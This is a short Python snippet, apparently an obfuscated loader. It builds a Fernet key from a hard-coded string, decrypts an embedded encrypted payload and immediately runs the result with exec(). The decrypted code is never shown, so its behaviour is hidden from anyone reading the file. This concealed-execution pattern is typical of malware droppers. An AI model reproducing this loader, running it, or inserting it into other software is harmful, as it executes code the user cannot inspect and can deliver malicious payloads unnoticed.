import base64 from cryptography.fernet import Fernet payload = b'gAAAAABkEnJ22xH-mciP_AukxIoebp8KDzy7RvBh_yPBcP9ZQGulW61mWzDNCXCQCI4RclwLPH5eeTTw7ThtEB14JnGBDZqsXEZWxLK6fxvyODJ-V-kyLnYkDVPB5sxwyHz-ouWyR2MJiR-dX0UQw1lyHun_R8c7EuvEmhehxyV-3NzVTDB0IJBCqAe_x4BjyNeh_yBdBiVTlAg5M_ekx0aeHLD-tB1oNxeHHFQYHHCcMpiv5L0cVQNrxwwpNrSgvRNf8b2bUwIFoyOlFIwUd4ev0ocgJkYh0g==' key_str = 'correctstaplecorrectstaplecorrec' key_base64 = base64.b64encode(key_str.encode()) f = Fernet(key_base64) plain = f.decrypt(payload) exec(plain.decode())